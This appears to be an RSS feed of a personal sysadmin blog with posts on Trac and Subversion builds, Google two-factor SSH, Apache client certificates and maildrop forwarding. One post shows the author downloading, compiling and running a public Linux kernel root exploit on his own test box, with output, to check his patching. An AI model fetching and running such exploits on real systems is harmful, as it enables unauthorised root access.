<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule">
<channel>
    
    <title>Just my Blog - Work</title>
    <link>http://blog.adslweb.net/serendipity/</link>
    <description>SELECT * FROM users WHERE clue &gt; 0</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.5.5 - http://www.s9y.org/</generator>
    <pubDate>Thu, 14 Jul 2011 07:00:56 GMT</pubDate>

    <image>
        <url>http://blog.adslweb.net/serendipity/templates/competition/img/s9y_banner_small.png</url>
        <title>RSS: Just my Blog - Work - SELECT * FROM users WHERE clue &gt; 0</title>
        <link>http://blog.adslweb.net/serendipity/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>How to update Python bindings to subversion.</title>
    <link>http://blog.adslweb.net/serendipity/article/287/How-to-update-Python-bindings-to-subversion.</link>
            <category>Linux/Unix/BSD</category>
            <category>System Information Scanner</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/287/How-to-update-Python-bindings-to-subversion.#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=287</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=287</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Recently I run into the problem that a team had a requirement for subversion 1.6.6 (while CentOS 5u3 was not supporting this... but the vendor didn&#039;t provide a newer release). This team also had a requirement to have TRAC... TRAC is depended on Python... but I was not allowed to update the subversion bindings for python by updating the it on the whole system... so... this is what I did: &lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;ul&gt; &lt;br /&gt;
&lt;li&gt;Installed a number of devel packages:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;   # &lt;strong&gt;yum install apr-devel neon{,-devel} apr-util-devel&lt;/strong&gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Compiled sqlite version 3.6.13 and installed it on NFS:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;  $ &lt;strong&gt;./configure --prefix=/nfs/apps/webservices/trac-parent/sqlite/3.6.13&lt;/strong&gt;&lt;br /&gt;
  ...&lt;br /&gt;
  $ &lt;strong&gt;make ; make install&lt;/strong&gt;&lt;br /&gt;
  ...&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Compiled subversion 1.6.6 and installed it on NFS:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;$ &lt;strong&gt;make clean; ./configure \&lt;br /&gt;
 --prefix=/&lt;/strong&gt;&lt;strong&gt;&lt;strong&gt;nfs/apps/webservices/trac-parent&lt;/strong&gt;&lt;/strong&gt;&lt;strong&gt;/subversion/1.6.6 \&lt;br /&gt;
 --with-sqlite=&lt;/strong&gt;&lt;strong&gt;&lt;strong&gt;/nfs/apps/webservices/trac-parent/&lt;/strong&gt;&lt;/strong&gt;&lt;strong&gt;sqlite/3.6.13 \&lt;br /&gt;
 --without-neon &lt;/strong&gt;&lt;br /&gt;
...&lt;br /&gt;
$ &lt;strong&gt;make -j8 ; make install ; make swig-py ; make install-swig-py&lt;/strong&gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;p&gt;…&lt;/p&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Added the following line to &lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/sysconfig/httpd&lt;/font&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;export LD_LIBRARY_PATH=/nfs/apps/webservices/trac-parent/sqlite/3.6.13/lib/&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Modified &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/httpd/conf.d/trac.conf&lt;/font&gt;&lt;/strong&gt; by adding a ‘&lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;PythonPath&lt;/font&gt;&lt;/strong&gt;’ to the location-directive:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;Location /projects&amp;gt;&lt;br /&gt;
  ...&lt;br /&gt;
  PythonPath &quot;[&#039;/nfs/apps/webservices/trac-parent/subversion/1.6.6/lib/svn-python&#039;] + sys.path&quot;&lt;br /&gt;
&amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Restart the trac daemon:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;# &lt;strong&gt;service httpd stop&lt;/strong&gt;&lt;br /&gt;
# &lt;strong&gt;service httpd start&lt;/strong&gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Now you’ve to resync the trac-instance with Subversion (the &lt;br /&gt;
repository_dir value in the trac.ini of the instance).. but make sure &lt;br /&gt;
you use the correct bindings in Python:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;# &lt;strong&gt;export LD_LIBRARY_PATH=/nfs/apps/webservices/trac-parent/sqlite/3.6.13/lib/&lt;/strong&gt;&lt;br /&gt;
# &lt;strong&gt;export PYTHONPATH=/nfs/apps/webservices/trac-parent/subversion/1.6.6/lib/svn-python&lt;/strong&gt;&lt;br /&gt;
# &lt;strong&gt;trac-admin ${TRAC_INSTANCE_PATH} repository resync &quot;*&quot;&lt;/strong&gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Wed, 13 Jul 2011 20:33:52 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/287/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>CentOS 5 enabling Two-factor SSH authentication via Google</title>
    <link>http://blog.adslweb.net/serendipity/article/286/CentOS-5-enabling-Two-factor-SSH-authentication-via-Google</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/286/CentOS-5-enabling-Two-factor-SSH-authentication-via-Google#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=286</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=286</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Today I noticed a very nice article about enabling &lt;a target=&quot;_blank&quot; href=&quot;http://www.techrepublic.com/blog/opensource/two-factor-ssh-authentication-via-google-secures-linux-logins/2607&quot;&gt;Google&#039;s two-factor authentication for Linux SSH&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;After reading it... I found some time to play with it... so I enabled it within 10 minutes on my CentOS 5 64bit play-ground server... but there are some small &#039;caveats&#039;.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;hg - Command&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;To checkout the code, you must make install the mercurial RPM... this one is available via the EPEL repositories.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So after having the EPEL repositories enabled, run as root:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;strong&gt;yum -y install mercurial &lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Compiling the PAM module&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; When you checked out the code. &lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;hg clone https://google-authenticator.googlecode.com/hg/ google-authenticator/&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;You cannot compile directly the module... therefor you must apply a small change to the Makefile.&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Change where &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/usr/lib/libdl.so&lt;/font&gt;&lt;/strong&gt; is stated to &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/usr/lib64/libdl.so&lt;/font&gt;&lt;/strong&gt; (3 occurrences)&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong&gt;make&lt;/strong&gt;&lt;br /&gt;$ &lt;strong&gt;sudo make install&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now you&#039;ve to update the &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/pam.d/sshd&lt;/font&gt;&lt;/strong&gt; so it contains:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;#%PAM-1.0&lt;br /&gt;auth&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_google_authenticator.so&lt;br /&gt;auth&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;account&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_nologin.so&lt;br /&gt;account&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;password&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; optional&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_keyinit.so force revoke&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_loginuid.so&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Configure SSH&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;You also have to make sure that in &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/ssh/sshd_config&lt;/font&gt;&lt;/strong&gt; the following settings are set on yes:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;ChallengeResponseAuthentication yes&lt;br /&gt;UsePAM yes&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And restart the SSH-daemon &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Set up your smartphone/credentials on the system&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong&gt;google-authenticator&lt;/strong&gt;&lt;br /&gt;https://www.google.com/chart?chs=200x200&amp;amp;chld=M|0&amp;amp;cht=qr&amp;amp;chl=otpauth://totp/user@server%3Fsecret%3DSAEP64T5VZAVWAFB&lt;br /&gt;Your new secret key is: SAEP64T5VZAVWAFB&lt;br /&gt;Your verification code is 376046&lt;br /&gt;Your emergency scratch codes are:&lt;br /&gt;&amp;#160; 67868696&lt;br /&gt;&amp;#160; 26247332&lt;br /&gt;&amp;#160; 54815527&lt;br /&gt;&amp;#160; 54336661&lt;br /&gt;&amp;#160; 71083816&lt;br /&gt;Do you want me to update your &amp;quot;~/.google_authenticator&amp;quot; file (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;br /&gt;Do you want to disallow multiple uses of the same authentication&lt;br /&gt;token? This restricts you to one login about every 30s, but it increases&lt;br /&gt;your chances to notice or even prevent man-in-the-middle attacks (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;br /&gt;By default, tokens are good for 30 seconds and in order to compensate for&lt;br /&gt;possible time-skew between the client and the server, we allow an extra&lt;br /&gt;token before and after the current time. If you experience problems with poor&lt;br /&gt;time synchronization, you can increase the window from its default&lt;br /&gt;size of 1:30min to about 4min. Do you want to do so (y/n)&lt;strong&gt; n&lt;/strong&gt;&lt;br /&gt;If the computer that you are logging into isn&#039;t hardened against brute-force&lt;br /&gt;login attempts, you can enable rate-limiting for the authentication module.&lt;br /&gt;By default, this limits attackers to no more than 3 login attempts every 30s.&lt;br /&gt;Do you want to enable rate-limiting (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And you&#039;re done &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Give it a try to SSH to that box...&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;&amp;#160;TIP: Make sure you&#039;ve an SSH session still open... or you might lock yourself out of the system...&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 21 Jun 2011 14:16:57 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/286/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Require client-SSL certificate for certain content.</title>
    <link>http://blog.adslweb.net/serendipity/article/265/Require-client-SSL-certificate-for-certain-content.</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/265/Require-client-SSL-certificate-for-certain-content.#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=265</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=265</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;On a kind of &amp;quot;intranet&amp;quot; website, which is secured with username/password combinations and HTTPS I&#039;ve implemented the next feature:&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;- Authorized users can read everything on the website&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;- Files with in their filename &amp;quot;classified&amp;quot; requires a valid SSL-Client certificate...&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Here is the output of my apache config:&lt;/p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&amp;lt;Directory /usr/sites/ssl-site/intranet/htdocs&amp;gt;&lt;br /&gt;&amp;#160; Options Indexes MultiViews&lt;br /&gt;&amp;#160; AllowOverride Authconfig&lt;br /&gt;&amp;#160; Order allow,deny&lt;br /&gt;&amp;#160; Allow from all&lt;br /&gt;&amp;#160; AuthName &amp;quot;intranet&amp;quot;&lt;br /&gt;&amp;#160; AuthType &amp;quot;Basic&amp;quot;&lt;br /&gt;&amp;#160; AuthUserFile /usr/sites/ssl-site/intranet/etc/users.pwl&lt;br /&gt;&amp;#160; require valid-user&lt;br /&gt;&amp;lt;/Directory&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;LocationMatch .*(c|C)(l|L)(a|A)(s|S)(s|S)(i|I)(f|F)(i|I)(e|E)(d|D).+&amp;gt;&lt;br /&gt;&amp;#160; SSLVerifyClient require&lt;br /&gt;&amp;#160; SSLVerifyDepth 1&lt;br /&gt;&amp;#160; SSLOptions +OptRenegotiate&lt;br /&gt;&amp;lt;/LocationMatch&amp;gt;&lt;/font&gt;&lt;br /&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;I still have to sort out some issues, like directories having a directory with the name &amp;quot;classified&amp;quot; in them.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 20 May 2009 15:53:13 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/265/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Use maildrop to forward a mail to another mail box</title>
    <link>http://blog.adslweb.net/serendipity/article/284/Use-maildrop-to-forward-a-mail-to-another-mail-box</link>
            <category>Linux/Unix/BSD</category>
            <category>Other...</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/284/Use-maildrop-to-forward-a-mail-to-another-mail-box#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=284</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=284</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;I recently had the need to forward e-mail based on the from field to another mailbox. I know, it&#039;s possible with a simple &lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;.forward&lt;/font&gt; in your&lt;strong&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt; $HOME&lt;/font&gt;&lt;/strong&gt;, but that will forward &lt;strong&gt;all&lt;/strong&gt; the mail. &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So after some further searching I end up with the following rule for your maildrop filter... it simply checks if the mail (in this example) is from&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt; &lt;a href=&quot;mailto:linus@mail.example.com&quot;&gt;linus@mail.example.com&lt;/a&gt;&lt;/font&gt;&amp;#160; and will forward it to &lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&lt;a href=&quot;mailto:linuxbox@collector.example.com&quot;&gt;linuxbox@collector.example.com&lt;/a&gt;&lt;/font&gt;:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;Calibri, Verdana, Helvetica, Arial&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&lt;a href=&quot;wimvanvossen@gmail.com&quot;&gt;&lt;/a&gt;&lt;font size=&quot;1&quot;&gt;if ( /^From: .*linus@mail\.example\.com.*/ )&lt;br /&gt;{&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; dotlock &amp;quot;forward.lock&amp;quot; {&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; log &amp;quot;Forward mail&amp;quot;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; to &amp;quot;|/usr/sbin/sendmail linuxbox@collector.example.com&amp;quot;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }&lt;br /&gt;}&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And that&#039;s all you need to put add to your&lt;font face=&quot;Calibri, Verdana, Helvetica, Arial&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;font size=&quot;1&quot;&gt; &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$HOME/.mailfilter&lt;/font&gt;&lt;/strong&gt; &lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 11 Nov 2010 14:20:54 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/284/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>The Linux Kernel exploit - become root by running 32bit code on a 64bit machine</title>
    <link>http://blog.adslweb.net/serendipity/article/282/The-Linux-Kernel-exploit-become-root-by-running-32bit-code-on-a-64bit-machine</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/282/The-Linux-Kernel-exploit-become-root-by-running-32bit-code-on-a-64bit-machine#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=282</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=282</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;A lot of discussion is about one of the last kernel exploits... the one that you can become root using 32bit code on a 64bit machine. So I wanted to know if I&#039;m vulnerable as well... just wanted to know how it works &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So I simply did (as normal user) on a vulnerable version of the Linux kernel on CentOS 5.5:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;mkdir /tmp/expl&lt;/strong&gt;&lt;br /&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;wget -O /tmp/expl/expl.c http://www.seclists.org/fulldisclosure/2010/Sep/att-268/ABftw_c.bin&lt;/strong&gt;&lt;br /&gt;$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;gcc -m32 -o /tmp/expl/expl.exe /tmp/expl/expl.c&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now run the binary:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;pieter&lt;br /&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;/tmp/expl/expl.exe&lt;/strong&gt;&lt;br /&gt;Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y&lt;br /&gt;$$$ Kallsyms +r&lt;br /&gt;$$$ K3rn3l r3l3as3: 2.6.18-128.7.1.el5&lt;br /&gt;??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d&lt;br /&gt;$$$ L00k1ng f0r kn0wn t4rg3tz..&lt;br /&gt;$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...&lt;br /&gt;$$$ selinux_ops-&amp;gt;ffffffff8030d360&lt;br /&gt;$$$ dummy_security_ops-&amp;gt;ffffffff80496c00&lt;br /&gt;$$$ capability_ops-&amp;gt;ffffffff8030ec20&lt;br /&gt;$$$ selinux_enforcing-&amp;gt;ffffffff80499960&lt;br /&gt;$$$ audit_enabled-&amp;gt;ffffffff80485124&lt;br /&gt;$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d&lt;br /&gt;$$$ Prepare: m0rn1ng w0rk0ut b1tch3z&lt;br /&gt;$$$ Us1ng st4nd4rd s3ash3llz&lt;br /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;$$$ 0p3n1ng th3 m4giq p0rt4l&lt;/span&gt;&lt;br style=&quot;color: #ff1010; background-color: #ffff4c;&quot; /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP&lt;/span&gt;&lt;br /&gt;sh-3.2# &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;&lt;strong style=&quot;color: #ff1010;&quot;&gt;root&lt;/strong&gt;&lt;br /&gt;sh-3.2#&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Well... I don&#039;t like that... so... update the kernel, reboot and check again!&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;whoami&lt;/strong&gt;&lt;br /&gt;pieter&lt;br /&gt;[pieter@testbox ~]$ &lt;strong style=&quot;color: #ff1010;&quot;&gt;/tmp/expl/expl.exe&lt;/strong&gt;&lt;br /&gt;Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y&lt;br /&gt;$$$ Kallsyms +r&lt;br /&gt;$$$ K3rn3l r3l3as3: 2.6.18-194.17.1.el5&lt;br /&gt;??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d&lt;br /&gt;$$$ L00k1ng f0r kn0wn t4rg3tz..&lt;br /&gt;$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...&lt;br /&gt;$$$ selinux_ops-&amp;gt;ffffffff80327ac0&lt;br /&gt;$$$ dummy_security_ops-&amp;gt;ffffffff804b9540&lt;br /&gt;$$$ capability_ops-&amp;gt;ffffffff80329380&lt;br /&gt;$$$ selinux_enforcing-&amp;gt;ffffffff804bc2a0&lt;br /&gt;$$$ audit_enabled-&amp;gt;ffffffff804a7124&lt;br /&gt;$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d&lt;br /&gt;$$$ Prepare: m0rn1ng w0rk0ut b1tch3z&lt;br /&gt;$$$ Us1ng st4nd4rd s3ash3llz&lt;br /&gt;$$$ 0p3n1ng th3 m4giq p0rt4l&lt;br /&gt;&lt;span style=&quot;color: #ff1010; background-color: #ffff4c;&quot;&gt;!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!&lt;/span&gt;&lt;br /&gt;[pieter@testbox ~]$&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 13 Oct 2010 08:30:14 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/282/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>

</channel>
</rss>
